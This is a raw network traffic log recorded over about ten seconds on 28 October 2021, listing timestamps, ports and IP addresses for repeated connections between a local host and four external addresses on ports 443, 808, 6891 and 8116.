Oct 28, 2021 05:05:56.032711983 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:56.040901899 CEST	50069	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:56.040937901 CEST	443	50069	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:56.166718960 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.284802914 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.284823895 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.284985065 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.285067081 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.294562101 CEST	50070	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.328119993 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.328249931 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.329260111 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.416937113 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.455223083 CEST	808	50070	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.490437031 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.490566969 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.490680933 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.492078066 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.495776892 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.495858908 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:56.582308054 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:56.582412004 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.583100080 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.653691053 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.656970978 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.656990051 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:56.748353004 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:56.748611927 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:56.748811007 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.749327898 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.753544092 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.753648043 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:56.919039965 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:56.919061899 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.041831017 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:57.041850090 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:57.042037010 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:57.044899940 CEST	50071	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:57.179394960 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.206466913 CEST	808	50071	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:57.315675974 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.315705061 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.315772057 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.315788031 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.320718050 CEST	50072	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.345088959 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.345252991 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.345962048 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.433067083 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.482640028 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.482778072 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.483581066 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.486191034 CEST	6891	50072	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.511945963 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.512115002 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.512202024 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.512739897 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.516515017 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.516639948 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:57.532618999 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.532888889 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.533008099 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.533548117 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.537441969 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.537698984 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.586710930 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.586903095 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.587764025 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.684030056 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.684055090 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.721883059 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:57.778204918 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.778242111 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.778332949 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.786803007 CEST	50074	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:57.839689970 CEST	8116	50074	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:57.901814938 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:57.901866913 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:57.901983976 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:57.902674913 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:57.902702093 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.063535929 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:58.063565969 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:58.063747883 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:58.067048073 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:58.067090988 CEST	50073	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:58.187283039 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.232505083 CEST	6891	50073	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:58.239672899 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.239841938 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.240596056 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.293272018 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.293315887 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.293476105 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.293939114 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.296778917 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.296895027 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.349620104 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.349984884 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.350267887 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.417804003 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.418020964 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.418749094 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.418761969 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.423922062 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.423939943 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.424082041 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.424096107 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.534563065 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.534603119 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.534710884 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.537271023 CEST	50076	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:58.589900017 CEST	8116	50076	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:58.651405096 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.651479006 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:58.651643038 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.652314901 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:58.652349949 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.134671926 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.134744883 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.134824038 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.134841919 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.141138077 CEST	50075	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.141176939 CEST	443	50075	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.174444914 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.174545050 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.175399065 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.175424099 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.180695057 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.180735111 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.180876970 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.180890083 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.292114973 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.459310055 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.459458113 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.460464954 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.628045082 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.628657103 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.628782034 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.629283905 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.633541107 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.633675098 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:59.796191931 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.800482035 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.800525904 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.800594091 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:59.893590927 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.893659115 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:59.893767118 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.893789053 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.896719933 CEST	50077	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:59.896750927 CEST	443	50077	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:00.016073942 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.186594963 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.186619043 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.186849117 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.187747002 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.187870979 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.188410044 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.193597078 CEST	50078	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.307027102 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.360008955 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.360325098 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.360400915 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.360579014 CEST	808	50078	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.360954046 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.363883972 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.363979101 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.472501993 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.472697020 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.473845005 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.533710003 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.535654068 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.535712957 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.639336109 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.639398098 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.639477015 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.640038967 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.644418955 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.644539118 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:00.810952902 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.810977936 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.850878954 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:00.925944090 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.925977945 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:00.926079988 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:00.929150105 CEST	50079	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:01.069922924 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.101160049 CEST	808	50079	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:01.198514938 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.198555946 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.198709011 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.198765993 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.210983038 CEST	50080	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.236609936 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.236880064 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.237768888 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.325750113 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.375216007 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.375438929 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.376142025 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.376538992 CEST	6891	50080	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.404304981 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.404413939 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.404517889 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.405289888 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.410638094 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.410805941 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.425432920 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.425636053 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.425731897 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.426211119 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.430361032 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.430465937 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.479789972 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.480029106 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.518871069 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.577104092 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.577122927 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.577131033 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.660434961 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.660480022 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.660811901 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.672981024 CEST	50082	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:01.723331928 CEST	8116	50082	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:01.795006990 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:01.795063019 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:01.795217991 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:01.796273947 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:01.796299934 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:01.959923029 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.959944010 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:01.960033894 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:01.963010073 CEST	50081	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:02.088623047 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.129375935 CEST	6891	50081	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:02.136620045 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.136878014 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.137557030 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.185292959 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.185394049 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.185509920 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.185945034 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.189404011 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.189618111 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.240606070 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.291898966 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.292117119 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.292771101 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.292790890 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.297967911 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.298007011 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.298074007 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.298096895 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.414247036 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.414311886 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.414422989 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.417262077 CEST	50084	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:02.465012074 CEST	8116	50084	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:02.532912970 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.532963037 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.533072948 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.533921957 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.533950090 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.991720915 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.991787910 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:02.991822958 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.991849899 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.997803926 CEST	50083	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:02.997845888 CEST	443	50083	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.024342060 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.024467945 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.025809050 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.025824070 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.037719011 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.037735939 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.038156986 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.038177967 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.216883898 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.384638071 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.384823084 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.417423010 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.583220005 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.583283901 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.583354950 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.585618973 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.588479042 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.588589907 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:03.726824999 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.726897001 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.726898909 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.726942062 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.733190060 CEST	50085	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:03.733247042 CEST	443	50085	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:03.751945019 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.755017996 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.755047083 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.755057096 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.755068064 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.755084038 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:03.864104986 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.034951925 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.035124063 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.036817074 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.138871908 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.138906002 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.139019012 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.145315886 CEST	50086	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.204169035 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.204298973 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.204366922 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.205410004 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.209124088 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.209248066 CEST	50087	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:04.262980938 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:04.310683012 CEST	808	50086	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.372736931 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.376327038 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.376354933 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.376369953 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.376384974 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.429704905 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:04.429923058 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:04.432491064 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:04.599127054 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:04.599168062 CEST	6891	50088	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:04.599339962 CEST	50088	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:04.764328957 CEST	808	50087	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:04.764353991 CEST	808	50087	143.244.140.214	192.168.2.3
